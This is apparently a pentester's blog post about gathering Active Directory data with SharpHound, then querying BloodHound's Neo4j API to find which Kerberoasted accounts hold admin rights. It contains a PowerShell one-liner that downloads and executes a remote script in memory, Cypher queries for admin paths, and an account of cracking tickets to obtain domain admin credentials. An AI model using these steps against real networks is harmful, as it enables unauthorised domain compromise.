Tag Archives: python

A brief tour of BloodHound and Neo4j’s REST API

NOTE: This is not a guide on installing/configuring Neo4j/BloodHound or covering Cypher basics, as this is adequately covered elsewhere. This is a look at specific scenario where BloodHound and the Neo4j API saved me some analysis time, and how you can use the API to script out some phases in your analysis.

I recently was on a pentest of a somewhat large (>500k) node Active Directory environment. Running single-threaded Powerview functions to enumerate the environment seemed to run endlessly. I had used the old ps1 ingestor on smaller networks, but hadn’t yet used the new-and-improved ingestor rewritten in C#. For information on what makes SharpHound so much faster, see these two blogposts by @CptJesus.

Getting all the BloodHound data was as simple as:

IEX(New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1"); Invoke-BloodHound

EDIT: Never pull down scripts directly from github to run on client networks 😉

The SharpHound.ps1 contains the SharpHound assembly as a base64 string, which it then loads in executes. The benefit of this method is complete in-memory execution. The drawback is that if anything inside the SharpHound assembly fails, you won’t get any helpful error messages

The ingestion finished, but the csv files appeared to contain incomplete data. I couldn’t even find the user I ran SharpHound as in the output. I tried running the executable to get a more specific error message, but the ingestion finished without errors, but also without all the data present.

I tried modifying the the number of threads, delay/jitter, connecting to different DCs, but what eventually worked (thanks for the suggestion @CptJesus 😀 ) was executing the collection methods individually. The default collection methods are Group, LocalGroup, Sessions, and Trusts.

I ran each individually with the -CollectionMethod flag. I had to run the LocalGroup twice until the output appeared to have a complete dataset.

I performed a Kerberoast attack which netted over 500 accounts after filtering on the AdminSDHolder property. Since I really didn’t want to spend time cracking 500 Kerberos tickets, nor did I want to enter each user 1 by 1 in the BloodHound UI to find which ones had wide admin privileges.

I went off to the BloodHound Slack server, and learned about Neo4j’s RESTful API server, which will accept Cypher queries. This seemed like the best route to take, so after reading through @CptJesus’s Intro to Cypher (required reading) and the Neo4j HTTP API documentation, I was ready to get started.

Make sure neo4j is up and running and has your data. You should be able to navigate to To verify my data is there, I’ll run a query to count the number of nodes present:

(This was only after I imported the group_membership.csv and local_admins.csv into BloodHound, as that was all I needed for this stage)

The API can be queried at http://localhost:7474/db/data/transaction/commit

You need to set the following HTTP headers:

Accept: application/json; charset=UTF-8
Content-Type: application/json

I’ll pull this query from @CptJesus’s Intro to Cypher post,  format it as JSON, and POST it to the endpoint specified above:

 "statements": [
 "statement": "MATCH (n:User), (m:Group {name: 'DOMAIN [email protected]'}), p=shortestPath((n)-[*1..]->(m)) RETURN p"

There are a lot of really great queries built in to BloodHound. If we want to see what queries BloodHound is running under the hood, we need to enable Query Debug Mode in under the settings menu in BloodHound.

Since I want to know which users have admin rights on the domain, I’m interested in:

First Degree Local Admin Rights

MATCH p = (n:User {name:{name}})-[r:AdminTo]->(c:Computer) RETURN p

Group Delegated Local Admin Rights

MATCH p=(n:User {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(c:Computer) RETURN p

Derivative Local Admin Rights

MATCH (c:Computer) WHERE NOT c.name={name} WITH c MATCH p = shortestPath((n:User {name:{name}})-[r:HasSession|AdminTo|MemberOf*1..]->(c)) RETURN p

If I want to curl to find the number of derivative local admins a user has:

curl -X POST \
> http://localhost:7474/db/data/transaction/commit \
> -H 'accept: application/json; charset=UTF-8' \
> -H 'authorization: BASE64 ENCODED USER:PASS' \
> -H 'content-type: application/json' \
> -d '{"statements": [{"statement": "MATCH (c:Computer) WHERE NOT c.name='\''[email protected]'\'' WITH c MATCH p = shortestPath((n:User {name:'\''[email protected]'\''})-[r:HasSession|AdminTo|MemberOf*1..]->(c)) RETURN count(p)"}]}'

The results are returned as JSON which will need to be parsed:


Now I could probably do this with Bash somehow, but I’m more comfortable with Python. Here is a link to the working script


Done. With a list of domain users which admin rights in the network, I spun up some NV6 instances in Azure, cracked multiple tickets, and shortly after obtained DA creds.